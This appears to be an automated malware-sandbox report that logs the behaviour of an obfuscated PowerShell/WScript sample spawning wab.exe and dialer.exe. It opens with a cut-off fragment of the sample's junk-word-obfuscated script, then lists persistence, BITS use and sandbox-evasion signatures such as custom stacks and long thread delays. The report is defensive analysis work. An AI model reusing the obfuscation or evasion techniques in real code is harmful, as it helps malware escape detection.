Sulphoh(Waggonl$eksplosCPyramidrInverseu LepilespaltereaTidsskrdDriftskoWhiterovSpirantaMeasurieUnlovea8Dkliste.TumlersJ securioKryptonbCifferlSSwollentSkifertaSandormtRedeploeHvorind Smykken-ChambereSkebladqfyrsted Biestin$Kahytsjb Atommie AktivikStilkunrKatapulaNapoleoeLykkebrfProtoprtSpearmieDriftsr0Udsprjt2tankefu) Nbbene Jamaic{BeskrivS Despott MamushaIrradiarHalvbrotEthenoi-Br	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 1_2_00007FF848E8D7B2 push edi; retf	1_2_00007FF848E8D7F6
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_02DA0EF8 push eax; ret	5_2_02DA0F02
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_02DA0EE8 push eax; ret	5_2_02DA0EF2
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_02DA0EA8 push eax; ret	5_2_02DA0EE2
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_02DA0F08 push eax; ret	5_2_02DA0F12
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_02DA369C push ebx; iretd	5_2_02DA36DA
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 7_2_088D04B4 pushad ; iretd	7_2_088D04B5
Source: C:\Windows\SysWOW64\dialer.exe	Code function: 9_3_032B4305 push F693B671h; retf	9_3_032B430A
Source: C:\Windows\SysWOW64\dialer.exe	Code function: 9_3_032B3B74 pushad ; retf	9_3_032B3B83
Source: C:\Windows\SysWOW64\dialer.exe	Code function: 9_3_032B21AF pushad ; ret	9_3_032B21B7
Source: C:\Windows\SysWOW64\dialer.exe	Code function: 9_3_032B21EF push ecx; iretd	9_3_032B21FB
Source: C:\Windows\SysWOW64\dialer.exe	Code function: 9_3_032B45FC push esi; ret	9_3_032B4600
Source: C:\Windows\SysWOW64\dialer.exe	Code function: 9_3_032B4FC8 push es; ret	9_3_032B4FC9
Source: C:\Windows\SysWOW64\dialer.exe	Code function: 9_3_032B0FCE push eax; retf	9_3_032B0FCF
Source: C:\Windows\SysWOW64\dialer.exe	Code function: 9_3_032B3E4E push edi; iretd	9_3_032B3E55
Source: C:\Windows\SysWOW64\dialer.exe	Code function: 9_3_032B5CD2 push dword ptr [edx+ebp+3Bh]; retf	9_3_032B5CDF
Source: C:\Windows\SysWOW64\dialer.exe	Code function: 9_2_059698F0 push eax; ret	9_2_0596991E

Persistence and Installation Behavior

Powershell uses Background Intelligent Transfer Service (BITS)

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Section loaded: \KnownDlls\BitsProxy.dll

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\dialer.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\dialer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\dialer.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\dialer.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Switches to a custom stack to bypass stack traces

Source: C:\Program Files (x86)\Windows Mail\wab.exe	API/Special instruction interceptor: Address: 590DFF3
Source: C:\Program Files (x86)\Windows Mail\wab.exe	API/Special instruction interceptor: Address: 7FF8C88ED044
Source: C:\Windows\SysWOW64\dialer.exe	API/Special instruction interceptor: Address: 7FF8C88ED044
Source: C:\Windows\SysWOW64\dialer.exe	API/Special instruction interceptor: Address: 597483A

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4303	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5573	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 8258	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1433	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6620	Thread sleep time: -4611686018427385s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 1020	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 6204	Thread sleep count: 8258 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 1276	Thread sleep count: 1433 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3376	Thread sleep time: -3689348814741908s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\SysWOW64\dialer.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_Processor
